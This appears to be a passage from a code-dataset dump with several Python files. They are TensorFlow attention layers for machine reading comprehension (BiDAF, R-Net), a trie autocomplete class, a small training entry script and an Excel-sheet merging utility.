mask\n :param att_hidden_size: attention 的隐藏层大小\n :return:\n '''\n context_len, hidden_size = HoW_c.get_shape().as_list()[1:]\n ques_len = HoW_q.get_shape().as_list()[1]\n\n # U(HoW_i) [batch * c, att_hidden_size]\n context_proj = tf.layers.dense(tf.reshape(HoW_c, [-1, hidden_size]), att_hidden_size, activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='proj_dense', reuse=False)\n logger.debug(\"context_proj 的 shape:{}\".format(context_proj.shape))\n\n # U(HoW_j) [batch * q, att_hidden_size]\n question_proj = tf.layers.dense(tf.reshape(HoW_q, [-1, hidden_size]), att_hidden_size, activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='proj_dense', reuse=True)\n logger.debug(\"question_proj 的 shape:{}\".format(question_proj.shape))\n\n diagonal = tf.get_variable('diagonal', [att_hidden_size], dtype=tf.float32,\n initializer=tf.contrib.layers.xavier_initializer())\n diagonal_matrix = tf.matrix_diag(diagonal) # [att_hidden_size,att_hidden_size]\n logger.debug(\"diagonal_matrix 的 shape:{}\".format(diagonal_matrix.shape))\n\n # [batch,c,q]\n part1 = tf.matmul(context_proj, diagonal_matrix) # [batch*c,att_size]\n part1 = tf.reshape(part1, [-1, context_len, att_hidden_size]) # [batch, c, att_size]\n part2 = tf.reshape(question_proj, [-1, ques_len, att_hidden_size]) ##[batch, q, att_size]\n attention_score = tf.matmul(part1, tf.transpose(part2, [0, 2, 1]))\n logger.debug(\"attention_score 的 shape:{}\".format(attention_score.shape))\n\n similarity_mask = tf.expand_dims(ques_mask, axis=1)\n _, masked_attention_score = masked_softmax(attention_score, similarity_mask, dim=2)\n output = tf.matmul(masked_attention_score, question) # [batch,c,q] * [batch,q,h]= [batch,c,h]\n return output\n\n\nclass Bidaf(object):\n def __init__(self, keep_prob, vec_size):\n self.keep_prob = keep_prob\n self.vec_size = vec_size\n self.w = tf.get_variable('w', [vec_size * 3], dtype=tf.float32,\n initializer=tf.contrib.layers.xavier_initializer())\n\n def build_graph(self, context, question, c_mask, q_mask):\n with tf.variable_scope('BiDAF'):\n context_expand = tf.expand_dims(context, axis=2) # [batch_size,context_len,1,2h]\n question_expand = tf.expand_dims(question, axis=1) # [batch_size,1,ques_len,2h]\n # 按位乘法,tf的*支持广播操作\n c_elem_wise_q = context_expand * question_expand # [batch_size,context_len,ques_len,2h]\n\n # 复制向量 都组成[batch_size,context_len,ques_len,2h]的shape\n context_tile = tf.tile(context_expand, [1, 1, question.get_shape().as_list()[1], 1])\n question_tile = tf.tile(question_expand, [1, context.get_shape().as_list()[1], 1, 1])\n logger.debug(\"shape:{}\".format(context.get_shape().as_list()[1]))\n logger.debug(\"shape context_tile:{}\".format(context_tile.shape))\n logger.debug(\"shape question_tile:{}\".format(question_tile.shape))\n logger.debug(\"shape c_elem_wise_q:{}\".format(c_elem_wise_q.shape))\n concated_input = tf.concat([context_tile, question_tile, c_elem_wise_q], -1)\n logger.debug(\"concat_shape:{}\".format(concated_input.shape))\n\n similarity_matrix = tf.reduce_sum(concated_input * self.w, axis=3)\n\n # Context - to - query Attention\n similarity_mask = tf.expand_dims(q_mask, axis=1)\n _, c2q_dist = masked_softmax(similarity_matrix, similarity_mask, 2) # [batch,context_len,ques_len]\n c2q_attn = tf.matmul(c2q_dist, question) # [batch,context_len,2h]\n logger.debug(\"c2q_attn shape: {}\".format(c2q_attn.shape))\n\n # Query - to - context Attention.\n T_max = tf.reduce_max(similarity_matrix, axis=2) # [batch,context_len]\n logger.debug(\"T_max shape: {}\".format(T_max.shape))\n _, q2c_dist = masked_softmax(T_max, c_mask, 1) # [batch,context_len]\n logger.debug(\"q2c_dist shape: {}\".format(q2c_dist.shape))\n\n # 为了进行矩阵乘法,进行扩展一维[1,m]*[m,2h]=[1,2h]\n # q2c_dist_expand = [batch,1,context_len]\n q2c_attn = tf.matmul(tf.expand_dims(q2c_dist, axis=1), context) # [batch,1,2h]\n # context_len = context.get_shape().as_list()[1]\n\n # context * c2q_attn=[batch,context_len,2h]\n # context * q2c_attn=[batch,context_len,2h] 按位乘 [batch,context_len,2h]\n output = tf.concat([c2q_attn, context * c2q_attn, context * q2c_attn], axis=2)\n output = tf.nn.dropout(output, self.keep_prob)\n return output\n\n\nclass Attention_Match_RNN(object):\n \"\"\"Module for Gated Attention and Self Matching from paper - https://www.microsoft.com/en-us/research/wp-content/uploads/2017/05/r-net.pdf\n Apply gated attention recurrent network for both query-passage matching and self matching networks\n Based on the explanation in http://web.stanford.edu/class/cs224n/default_project/default_project_v2.pdf\n \"\"\"\n\n def create_weights(self, size_in, size_out, name):\n return tf.get_variable(name=name, dtype=tf.float32, shape=(size_in, size_out),\n initializer=tf.contrib.layers.xavier_initializer())\n\n def create_vector(self, size_in, name):\n return tf.get_variable(name=name, dtype=tf.float32, shape=(size_in),\n initializer=tf.contrib.layers.xavier_initializer())\n\n def matrix_multiplication(self, mat, weight):\n # [batch_size, seq_len, hidden_size] * [hidden_size, p] = [batch_size, seq_len, p]\n\n mat_shape = mat.get_shape().as_list() # shape - ijk\n weight_shape = weight.get_shape().as_list() # shape -kl\n assert (mat_shape[-1] == weight_shape[0])\n mat_reshape = tf.reshape(mat, [-1, mat_shape[-1]]) # [batch_size * n, m]\n mul = tf.matmul(mat_reshape, weight) # [batch_size * n, p]\n return tf.reshape(mul, [-1, mat_shape[1], weight_shape[-1]]) # reshape to batch_size, seq_len, p\n\n def __init__(self, keep_prob, hidden_size_encoder, hidden_size_qp, hidden_size_sm):\n \"\"\"\n Inputs:\n keep_prob: tensor containing a single scalar that is the keep probability (for dropout)\n inp_vec_size: size of the input vector\n \"\"\"\n self.keep_prob = keep_prob\n self.hidden_size_encoder = hidden_size_encoder\n self.hidden_size_qp = hidden_size_qp\n self.hidden_size_sm = hidden_size_sm\n\n # For QP attention\n self.W_uQ = self.create_weights(2 * self.hidden_size_encoder, self.hidden_size_qp, name='W_uQ')\n self.W_uP = self.create_weights(2 * self.hidden_size_encoder, self.hidden_size_qp, name='W_uP')\n self.W_vP = self.create_weights(self.hidden_size_qp, self.hidden_size_qp, name='W_vP')\n self.W_g_QP = self.create_weights(4 * self.hidden_size_encoder, 4 * self.hidden_size_encoder, name='W_g_QP')\n self.v_t = self.create_vector(self.hidden_size_qp, name='v_t')\n\n # For self attention\n self.W_vP_self = self.create_weights(self.hidden_size_qp, self.hidden_size_sm, name='W_vP_self')\n self.W_vP_hat_self = self.create_weights(self.hidden_size_qp, self.hidden_size_sm, name='W_vP_hat_self')\n self.W_g_self = self.create_weights(2 * self.hidden_size_qp, 2 * self.hidden_size_qp, name='W_g_self')\n self.v_t_self = self.create_vector(self.hidden_size_sm, name='v_t_self')\n\n self.QP_cell = tf.contrib.rnn.GRUCell(self.hidden_size_qp) # initiate GRU cell\n self.QP_cell = tf.contrib.rnn.DropoutWrapper(self.QP_cell,\n input_keep_prob=self.keep_prob) # added dropout wrapper\n\n self.SM_fw = tf.contrib.rnn.GRUCell(self.hidden_size_sm) # initiate GRU cell\n self.SM_fw = tf.contrib.rnn.DropoutWrapper(self.SM_fw,\n input_keep_prob=self.keep_prob) # added dropout wrapper\n\n self.SM_bw = tf.contrib.rnn.GRUCell(self.hidden_size_sm) # initiate GRU cell\n self.SM_bw = tf.contrib.rnn.DropoutWrapper(self.SM_bw,\n input_keep_prob=self.keep_prob) # added dropout wrapper\n\n def build_graph_qp_matching(self, context_encoding, question_encoding, values_mask, context_mask, context_len,\n question_len):\n \"\"\"\n Implement question passage matching from R-Net\n \"\"\"\n u_Q = question_encoding\n u_P = context_encoding\n\n v_P = [] # gated rnn的结果\n # 不能使用动态的rnn了,因为每个t的输入,都要用到t-1时刻的输出\n cur_batch_size = tf.shape(context_encoding)[0]\n self.QP_state = self.QP_cell.zero_state(batch_size=cur_batch_size, dtype=tf.float32)\n\n for i in range(context_len):\n # tanh里的第1部分\n W_uQ_uQ = self.matrix_multiplication(u_Q, self.W_uQ)\n\n # tanh里的第2部分\n u_iP = u_P[:, i, :]\n W_uP_iP = self.matrix_multiplication(u_iP, self.W_uP)\n\n # tanh里的第3部分\n if i == 0:\n tanh_qp = tf.tanh(W_uQ_uQ + W_uP_iP)\n else:\n v_t_1_P = v_P[i - 1]\n W_vP_vPi = self.matrix_multiplication(v_t_1_P, self.W_vP)\n tanh_qp = tf.tanh(W_uQ_uQ + W_uP_iP + W_vP_vPi)\n\n # tanh 外的vt\n s_i = tf.squeeze(self.matrix_multiplication(tanh_qp, self.v_t), axis=2) # [batch_size,q,1]->[batch_size,q]\n _, a_i = masked_softmax(s_i, values_mask, 1) # [batch_size,q]\n a_i_qp = tf.expand_dims(a_i, axis=1) # [batch_size,1,q]\n c_i = tf.reduce_sum(tf.matmul(a_i_qp, u_Q), axis=1) # [batch,2*hidden_size_encoder]\n\n # gate\n concat_ip_c_i = tf.concat([u_iP, c_i], axis=1)\n g_t = tf.sigmoid(tf.matmul(self.W_g_QP, concat_ip_c_i))\n concat_ip_c_i_star = tf.multiply(g_t, concat_ip_c_i)\n\n # 进行rnn输出\n with tf.variable_scope(\"QP_attention\"):\n if i > 0: tf.get_variable_scope().reuse_variables()\n output, self.QP_state = self.QP_cell(concat_ip_c_i_star, self.QP_state)\n v_P.append(output)\n\n v_P = tf.stack(v_P, 1)\n v_P = tf.nn.dropout(v_P, self.keep_prob)\n logger.debug(\"Shape v_P:{}\".format(v_P.shape)) # [batch_size, context_len, hidden_size_qp]\n return v_P\n\n def build_graph_sm_matching(self, context_encoding, question_encoding, values_mask, context_mask, context_len,\n question_len, v_P):\n \"\"\"\n Implement self matching from R-Net\n \"\"\"\n\n ## Start Self Matching\n sm = []\n u_Q = question_encoding # [batch_size, q_length, 2*hidden_size_encoder]\n u_P = context_encoding # [batch_size, context_length, 2*hidden_size_encoder]\n\n for i in range(context_len):\n W_vP_vPself = self.matrix_multiplication(v_P, self.W_vP_self) # [batch_size, context_len, hidden_size_sm]\n\n logger.debug(\"Shape W_vP_vPself:{}\".format(W_vP_vPself.shape))\n\n cur_batch_size = tf.shape(v_P)[0]\n\n # slice_v_iP = tf.reshape(v_P[:, i, :], [cur_batch_size, 1, self.hidden_size_qp])\n\n concat_v_iP = tf.concat(\n [tf.reshape(v_P[:, i, :], [cur_batch_size, 1, self.hidden_size_qp])] * context_len, 1)\n W_vP_vPhat_self = self.matrix_multiplication(concat_v_iP,\n self.W_vP_hat_self) # [batch_size, 1, hidden_size_sm]\n\n logger.debug(\"Shape W_vP_vPhat_self:{}\".format(W_vP_vPhat_self.shape))\n\n tanh_sm = tf.tanh(W_vP_vPself + W_vP_vPhat_self) # [batch_size, context_len, hidden_size_sm]\n\n logger.debug(\"Shape tanh:{}\".format(tanh_sm.shape))\n\n # Calculate si = vT*tanh\n s_i_sm = self.matrix_multiplication(tanh_sm,\n tf.reshape(self.v_t_self, [-1, 1])) # [batch_size, context_len, 1]\n logger.debug(\"Shape S_i\", s_i_sm.shape)\n\n s_i_sm = tf.squeeze(s_i_sm, axis=2) # [batch_size, context_len]\n\n _, a_i_sm = masked_softmax(s_i_sm, context_mask, 1) # [batch_size, context_len]\n\n logger.debug(\"Shape a_i_sm:{}\".format(a_i_sm.shape)) # [batch_size, context_len]\n\n a_i_sm = tf.expand_dims(a_i_sm, axis=1)\n c_i_sm = tf.reduce_sum(tf.matmul(a_i_sm, v_P), 1) # [batch_size, hidden_size_qp]\n\n logger.debug(\"Shape c_i:{}\".format(c_i_sm.shape))\n\n # gate\n slice_vP = v_P[:, i, :]\n v_iP_c_i = tf.concat([slice_vP, c_i_sm], 1) # [batch_size, 2*hidden_size_qp]\n logger.debug(\"Shape v_iP_c_i:{}\".format(v_iP_c_i.shape))\n\n g_i_self = tf.sigmoid(tf.matmul(v_iP_c_i, self.W_g_self)) # [batch_size, 2*hidden_size_qp]\n logger.debug(\"Shape g_i_self:{}\".format(g_i_self.shape))\n\n v_iP_c_i_star = tf.multiply(v_iP_c_i, g_i_self)\n\n logger.debug(\"Shape v_iP_c_i_star:{}\".format(v_iP_c_i_star.shape)) # [batch_size, 2*hidden_size_qp]\n\n sm.append(v_iP_c_i_star)\n sm = tf.stack(sm, 1)\n unstacked_sm = tf.unstack(sm, context_len, 1)\n\n self.SM_fw_state = self.SM_fw.zero_state(batch_size=cur_batch_size, dtype=tf.float32)\n self.SM_bw_state = self.SM_bw.zero_state(batch_size=cur_batch_size, dtype=tf.float32)\n\n with tf.variable_scope('Self_match') as scope:\n SM_outputs, SM_final_fw, SM_final_bw = tf.contrib.rnn.static_bidirectional_rnn(self.SM_fw, self.SM_bw,\n unstacked_sm,\n dtype=tf.float32)\n h_P = tf.stack(SM_outputs, 1)\n h_P = tf.nn.dropout(h_P, self.keep_prob)\n\n logger.debug(\"Shape h_P:{}\".format(h_P.shape)) # [batch_size, context_len, 2*hidden_size_sm]\n\n return h_P\n\n\nclass Answer_Pointer(object):\n def create_weights(self, size_in, size_out, name):\n return tf.get_variable(name=name, dtype=tf.float32, shape=(size_in, size_out),\n initializer=tf.contrib.layers.xavier_initializer())\n\n def create_vector(self, size_in, name):\n return tf.get_variable(name=name, dtype=tf.float32, shape=(size_in),\n initializer=tf.contrib.layers.xavier_initializer())\n\n def matrix_multiplication(self, mat, weight):\n # [batch_size, seq_len, hidden_size] * [hidden_size, p] = [batch_size, seq_len, p]\n\n mat_shape = mat.get_shape().as_list() # shape - ijk\n weight_shape = weight.get_shape().as_list() # shape -kl\n assert (mat_shape[-1] == weight_shape[0])\n mat_reshape = tf.reshape(mat, [-1, mat_shape[-1]]) # [batch_size * n, m]\n mul = tf.matmul(mat_reshape, weight) # [batch_size * n, p]\n return tf.reshape(mul, [-1, mat_shape[1], weight_shape[-1]]) # reshape to batch_size, seq_len, p\n\n def __init__(self, keep_prob, hidden_size_encoder, question_len, hidden_size_attn):\n \"\"\"\n Inputs:\n hidden_size: int. Hidden size of the RNN\n keep_prob: Tensor containing a single scalar that is the keep probability (for dropout)\n \"\"\"\n self.hidden_size_encoder = hidden_size_encoder\n self.keep_prob = keep_prob\n self.hidden_size_attn = hidden_size_attn\n self.question_len = question_len\n\n ## Initializations for question pooling\n self.W_ruQ = self.create_weights(2 * self.hidden_size_encoder, self.hidden_size_encoder, name='W_ruQ')\n self.W_vQ = self.create_weights(self.hidden_size_encoder, self.hidden_size_encoder, name='W_vQ')\n\n ## Same size as question hidden\n self.W_VrQ = self.create_weights(self.question_len, self.hidden_size_encoder, name='W_VrQ')\n self.v_qpool = self.create_vector(self.hidden_size_encoder, name='v_qpool')\n\n ## Initializations for answer pointer\n self.W_hP = self.create_weights(self.hidden_size_attn, 2 * self.hidden_size_encoder, name='W_hP')\n self.W_ha = self.create_weights(2 * self.hidden_size_encoder, 2 * self.hidden_size_encoder, name='W_ha')\n\n self.v_ptr = self.create_vector(2 * self.hidden_size_encoder, name='v_ptr')\n\n self.ans_ptr_cell = tf.contrib.rnn.GRUCell(2 * self.hidden_size_encoder) # initiate GRU cell\n self.ans_ptr_cell = tf.contrib.rnn.DropoutWrapper(self.ans_ptr_cell,\n input_keep_prob=self.keep_prob) # added dropout wrapper\n\n def question_pooling(self, question_encoding, values_mask):\n ## Question Pooling as suggested in R-Net Paper\n\n u_Q = question_encoding\n\n # tanh的第一部分\n W_ruQ_u_Q = self.matrix_multiplication(u_Q, self.W_ruQ) # [batch_size, q_length, hidden_size_encoder]\n # logger.debug(\"Shape W_ruQ_u_Q\", W_ruQ_u_Q.shape)\n # tanh的第二部分\n W_vQ_V_rQ = tf.matmul(self.W_VrQ, self.W_vQ) # [ q_length, hidden_size_encoder]\n cur_batch_size = tf.shape(u_Q)[0]\n W_vQ_V_rQ = tf.expand_dims(W_vQ_V_rQ, axis=0)\n # 相加做tanh\n tanh_qpool = tf.tanh(W_ruQ_u_Q + W_vQ_V_rQ) # [batch_size, q_length, hidden_size_encoder]\n s_i_qpool = self.matrix_multiplication(tanh_qpool, tf.reshape(self.v_qpool, [-1, 1])) # [batch_size, q_len, 1]\n\n # 第二个公式,做softmax\n s_i_qpool = tf.squeeze(s_i_qpool, axis=2) # [batch_size, q_length]. Same shape as values Mask\n _, a_i_qpool = masked_softmax(s_i_qpool, values_mask, 1) # [batch_size, q_length]\n # 第三个公式,做pooling\n a_i_qpool = tf.expand_dims(a_i_qpool, axis=1) # [batch_size, 1, q_length]\n r_Q = tf.reduce_sum(tf.matmul(a_i_qpool, u_Q), 1) # [batch_size, 2 * hidden_size_encoder]\n\n r_Q = tf.nn.dropout(r_Q, self.keep_prob)\n logger.debug(' shape of r_Q:{}'.format(r_Q.shape)) # [batch_size, 2 * hidden_size_encoder]\n return r_Q\n\n def build_graph_answer_pointer(self, context_hidden, ques_encoding, values_mask, context_mask, context_len):\n\n h_P = context_hidden\n r_Q = self.question_pooling(ques_encoding, values_mask)\n h_a = None # pointer network 的输出 last hidden state\n p = [] # 记录开始位置,结束位置的,经过softmax后的\n logits = []\n cur_batch_size = tf.shape(ques_encoding)[0]\n for i in range(2):\n # 第一个公式\n # tanh 第一部分\n W_hp_h_p = self.matrix_multiplication(h_P, self.W_hP)\n\n # tanh 第二部分\n # 公式9中的h_t-1_a,初始化时用r_Q,然后才是用经过 pointer network 得到的last hidden state\n if i == 0:\n h_t_1_a = r_Q\n else:\n h_t_1_a = h_a\n\n concat_h_i1a = tf.concat(\n [tf.reshape(h_t_1_a, [cur_batch_size, 1, 2 * self.hidden_size_encoder])] * context_len, 1)\n W_ha_h_i1a = self.matrix_multiplication(concat_h_i1a, self.W_ha)\n\n tanh = tf.tanh(W_hp_h_p + W_ha_h_i1a)\n s_t = self.matrix_multiplication(tanh, tf.reshape(self.v_ptr, [-1, 1])) # [batch_size,context_len,1]\n s_t = tf.squeeze(s_t, axis=2)\n\n # 第二个公式\n logits_ptr, a_t = masked_softmax(s_t, context_mask, 1) # [batch_size,context_len]\n\n # 第三个公式,不进行argmax,这是外部函数的事情\n p.append(a_t)\n logits.append(logits_ptr)\n\n # 得到a_t后,可以进行pointer network了,也就是公式10的计算\n a_t = tf.expand_dims(a_t, 1) # [batch_size,1,context_len]\n c_t = tf.reduce_sum(tf.matmul(a_t, h_P), 1) # [batch_size,hidden_size]\n if i == 0:\n self.ans_ptr_state = self.ans_ptr_cell.zero_state(batch_size=cur_batch_size,\n dtype=tf.float32) # TODO 论文中是说使用r_Q进行初始化??\n h_a, _ = self.ans_ptr_cell(c_t, self.ans_ptr_state)\n\n return p, logits\n\n\nclass Bidaf_output_layer(object):\n def __init__(self, context_len, concat_len):\n self.context_len = context_len\n self.concat_len = concat_len\n\n def build_graph(self, blended_represent, bidaf_output, context_mask):\n w1 = tf.get_variable(\"w1\", shape=[self.concat_len],\n initializer=tf.contrib.layers.xavier_initializer()) # [10h,1]\n G = tf.concat([blended_represent, bidaf_output], axis=2) # [batch_size,context_len,10h]\n result = tf.reduce_sum(G * w1, axis=2) # [batch_size * context_len]\n logger.debug(\"Shape result:{}\".format(result.shape))\n logits_start, prob_dist_start = masked_softmax(result, context_mask, 1)\n return logits_start, prob_dist_start\n\n\nclass SimpleSoftmaxLayer(object):\n def __init__(self):\n pass\n\n def build_graph(self, inputs, mask):\n logits = tf.contrib.layers.fully_connected(inputs, num_outputs=1) # shape=[batch_size,context_len,1]\n logits = tf.squeeze(logits, axis=[2]) # 将最后一维度的1去掉,shape=[batch_size,context_len]\n masked_logits, prob_dist = masked_softmax(logits, mask, 1) # mask后的\n return masked_logits, prob_dist\n\n\ndef masked_softmax(logits, mask, dim):\n '''\n 使用mask数组,将pad的位置变得非常小,然后与logits相加,使得pad的位置不可能被预测为最终的结果,最后才进行softmax\n :param logits: [batch_size,seq_len]\n :param mask:\n :param dim:\n :return:\n '''\n mask_ = (1 - tf.cast(mask, 'float')) * (-1e30) # pad的地方变得非常小【0,0,0,-1e30,-1e30】\n masked_logits = tf.add(logits, mask_) # 然后与logits相加\n prob_distribution = tf.nn.softmax(masked_logits, dim) # dim=1,表示对第二个维度进行softmax\n return masked_logits, prob_distribution\n\n\ndef SeqAttnMatch(x, y, y_mask):\n \"\"\"Given sequences x and y, match sequence y to each element in x.\n\n Args:\n x: tensor of shape batch x len1 x h\n y: tensor of shape batch x len2 x h\n y_mask: batch x len2\n Return:\n matched_seq = batch * len1 * h\n \"\"\"\n len1, h = x.get_shape().as_list()[1:]\n len2 = y.get_shape().as_list()[1]\n\n x_proj = tf.layers.dense(tf.reshape(x, [-1, h]), h, activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='proj_dense', reuse=False)\n y_proj = tf.layers.dense(tf.reshape(y, [-1, h]), h, activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='proj_dense', reuse=True)\n\n x_proj = tf.reshape(x_proj, [-1, len1, h])\n y_proj = tf.reshape(y_proj, [-1, len2, h])\n scores = tf.einsum('ijk,ikq->ijq', x_proj, tf.transpose(y_proj, [0, 2, 1])) # b x len1 x len2\n y_mask = tf.expand_dims(y_mask, dim=1) # [batch,1,len2]\n _, attn_dist = masked_softmax(scores, y_mask, 2)\n # alpha_flat = tf.nn.softmax(tf.reshape(scores, [-1, len2]))\n # alpha = tf.reshape(alpha_flat, [-1, len1, len2])\n matched_seq = tf.einsum('ijk,ikq->ijq', attn_dist, y)\n return matched_seq\n\n\ndef SelfAttn(x, x_mask):\n '''\n Self attention over a sequence.\n :param x: tensor of shape batch * len * hdim\n :return: tensor of shape batch * len\n '''\n len_, hdim = x.get_shape().as_list()[1:]\n x_flat = tf.reshape(x, [-1, hdim]) # [batch * len , hdim]\n # 建立一个全连接网络,作为 w\n weight = tf.layers.dense(x_flat, 1, kernel_initializer=tf.contrib.layers.xavier_initializer()) # shape=[batch*len]\n weight = tf.reshape(weight, [-1, len_]) # shape=[batch,len]\n _, mask_weight = masked_softmax(weight, x_mask, 1)\n return mask_weight\n\n\n# 这是 chen 论文的最后的双线性函数\ndef bilinear_sequnce_attention(context, question):\n \"\"\" A bilinear attention layer over a sequence seq w.r.t context\n\n Args:\n context: 3D tensor of shape b x l x h1\n question: 2D tensor of shape b x l2\n\n Return:\n tensor of shape b x l with weight coefficients\n \"\"\"\n\n len_, h1 = context.get_shape().as_list()[1:3]\n question = tf.layers.dense(question, h1, kernel_initializer=tf.contrib.layers.xavier_initializer())\n question = tf.reshape(question, [-1, h1, 1]) # b x h1 x 1\n z = tf.einsum('ijk,ikq->ijq', context, question)\n z = tf.reshape(z, [-1, len_]) # b x l\n return z\n\n\ndef matrix_multiplication(self, mat, weight):\n # [batch_size, seq_len, hidden_size] * [hidden_size, p] = [batch_size, seq_len, p]\n\n mat_shape = mat.get_shape().as_list() # shape - ijk\n weight_shape = weight.get_shape().as_list() # shape -kl\n assert (mat_shape[-1] == weight_shape[0])\n mat_reshape = tf.reshape(mat, [-1, mat_shape[-1]]) # [batch_size * n, m]\n mul = tf.matmul(mat_reshape, weight) # [batch_size * n, p] # matmul的矩阵乘法,因此需要先进行reshape\n return tf.reshape(mul, [-1, mat_shape[1], weight_shape[-1]]) # reshape to batch_size, seq_len, p\n\n\ndef ln(inputs, epsilon=1e-8, scope=\"ln\"):\n '''Applies layer normalization. See https://arxiv.org/abs/1607.06450.\n inputs: A tensor with 2 or more dimensions, where the first dimension has `batch_size`.\n epsilon: A floating number. A very small number for preventing ZeroDivision Error.\n scope: Optional scope for `variable_scope`.\n\n Returns:\n A tensor with the same shape and data dtype as `inputs`.\n '''\n with tf.variable_scope(scope, reuse=tf.AUTO_REUSE):\n inputs_shape = inputs.get_shape()\n params_shape = inputs_shape[-1:]\n\n mean, variance = tf.nn.moments(inputs, [-1], keep_dims=True)\n beta = tf.get_variable(\"beta\", params_shape, initializer=tf.zeros_initializer())\n gamma = tf.get_variable(\"gamma\", params_shape, initializer=tf.ones_initializer())\n normalized = (inputs - mean) / ((variance + epsilon) ** (.5))\n outputs = gamma * normalized + beta\n\n return outputs\n\n\ndef FFN(inputs, num_units, scope=\"positionwise_feedforward\"):\n '''position-wise feed forward net. See 3.3\n\n inputs: A 3d tensor with shape of [N, T, C].\n num_units: A list of two integers.\n scope: Optional scope for `variable_scope`.\n Returns:\n A 3d tensor with the same shape and dtype as inputs\n '''\n with tf.variable_scope(scope, reuse=tf.AUTO_REUSE):\n # Inner layer\n outputs = tf.layers.dense(inputs, num_units[0], activation=tf.nn.relu)\n\n # Outer layer\n outputs = tf.layers.dense(outputs, num_units[1])\n\n # Residual connection\n # outputs += inputs\n\n # Normalize\n outputs = ln(outputs)\n\n return outputs\n","repo_name":"JizxGit/MRC","sub_path":"modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":30915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19858316212","text":"from functools import reduce\nfrom collections import OrderedDict\n\nclass Trie:\n\n KEY = 'word'\n\n def __init__(self):\n \"\"\" A trie is a recursive datastructure that has zero or more\n tries as its follow.\n \"\"\"\n # order of insertion matters!\n self.follow = OrderedDict()\n self.leaves = None # [obj...] for char at end of word\n\n\n def insert(self, item):\n \"\"\" Insert an obj into a trie (ordered for retrieval by self.KEY)\n \"\"\"\n string = item[self.KEY]\n char = self\n for letter in string:\n char.follow.setdefault(letter, Trie())\n char = char.follow[letter]\n\n # may store distinct objects with identical self.KEY\n if char.leaves is None:\n char.leaves = [item]\n else:\n char.leaves.append(item)\n\n\n def autocomplete(self, prefix):\n \"\"\" Returns a (sorted by insertion order) list of objects\n whose object[self.KEY] starts with prefix.\n \"\"\"\n char = self\n # consume prefix\n for letter in prefix:\n if letter not in char.follow:\n return []\n char = char.follow[letter]\n\n # autocomplete suffixes\n return char._expand(prefix)\n\n\n def _expand(self, prefix):\n res = []\n if self.leaves is not None:\n res.extend(self.leaves)\n res = reduce(\n lambda acc, leaves: acc + leaves,\n [subtrie._expand(prefix + char) for (char, subtrie) in self.follow.items()],\n res)\n return res\n\n\nif __name__ == \"__main__\":\n t = Trie()\n dictionary = [\"A\",\"to\", \"tea\", \"ted\", \"ten\", \"I\", \"in\", \"inn\"]\n for word in sorted(dictionary):\n t.insert({t.KEY: word})\n print(t.autocomplete('Z')) # => []\n print(t.autocomplete('t')) # => ['tea', 'ted', 'ten', 'to']\n print(t.autocomplete('te')) # => ['tea', 'ted', 'ten']\n print(t.autocomplete('A')) # => ['A']\n print(t.autocomplete('I')) # => ['I']\n print(t.autocomplete('i')) # => ['in', 'inn']\n","repo_name":"myegorov/schmerlin","sub_path":"autoload/util/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6249643818","text":"import argparse\nfrom config import *\nfrom agents import *\n\ndef main():\n # parse the path of the json config file\n arg_parser = argparse.ArgumentParser(description=\"\")\n arg_parser.add_argument('config',metavar='config',default='None',help='The Configuration file in json format')\n args = arg_parser.parse_args()\n config, _ = get_config_from_json(args.config)\n config = process_config(config)\n run_agent(config)\n\ndef run_agent(config):\n agent_class = globals()[\"MaskedConvLosslessAgent\"]\n agent = agent_class(config)\n agent.run()\n agent.finalize()\n\nif __name__ == '__main__':\n main() \n \n","repo_name":"ssgms/A-Learned-Pixel-by-Pixel-Lossless-Image-Compression-Method-with-59K-Parameters-and-Parallel-Decoding","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"23731351312","text":"import os\nimport pandas as pd\nimport sys\nfrom datetime import datetime\nfrom functools import reduce\n\ndef merge_excel_sheets(directory):\n excel_files = [file for file in os.listdir(directory) if file.endswith('.xlsx')]\n\n initial_dfs = []\n final_dfs = []\n\n for file in excel_files:\n print(f\"Processing file: {file}\")\n\n # Load the Excel file\n file_path = os.path.join(directory, file)\n # Read the Excel file and load \"Sheet1\" into a DataFrame\n excel_data = pd.read_excel(file_path, sheet_name=\"Sheet1\", header=None)\n initial_dfs.append(excel_data)\n \n \n for df in initial_dfs:\n # Extract unique identifiers from the first column\n identifiers = df.iloc[:, 0].dropna().unique()\n \n # Initialize a dictionary to store data for each unique value in the second row\n parameters = df.iloc[1, 1:3].values\n data_dict = {name: {\"id\": identifiers} for name in parameters}\n \n # Iterate over the remaining columns\n total_columns = len(df.columns[1:])\n current_column = 0\n \n for column in df.columns[1:]:\n # Update progress\n current_column += 1\n print(f\"Processing column {current_column}/{total_columns}\")\n \n # Extract the date from the first row of the current column\n date = df[column].iloc[0]\n string_date = datetime.strftime(date, \"%Y-%m-%d\")\n # Extract the data type from the second row\n data_type = (df[column].iloc[1])\n \n # Skip the column if the data type is empty\n if pd.isna(data_type):\n continue\n \n # Add the data from the column to the respective dictionary\n records = df[column].iloc[2:]#.values\n if data_type not in data_dict:\n data_dict[data_type] = {string_date: records}\n else:\n data_dict[data_type][string_date] = records\n \n for parameter, data in data_dict.items():\n data_frame = pd.DataFrame(data)\n date_cols = data_frame.columns[1:].tolist()\n action_rows_df = pd.melt(\n data_frame,\n id_vars=['id'],\n value_vars=date_cols,\n var_name='date',\n value_name=parameter\n ).dropna()\n final_dfs.append(action_rows_df)\n\n united_df = reduce(lambda df1,df2: pd.merge(df1,df2,on=['id', 'date'], how='outer'), final_dfs).fillna(0)\n\n united_df.to_csv(f'{directory}/united_data.csv', index=False)\n\n print(\"Processing complete!\")\n\ndef main():\n directory = \"sheets\"\n merge_excel_sheets(directory)\n\nif __name__ == '__main__':\n 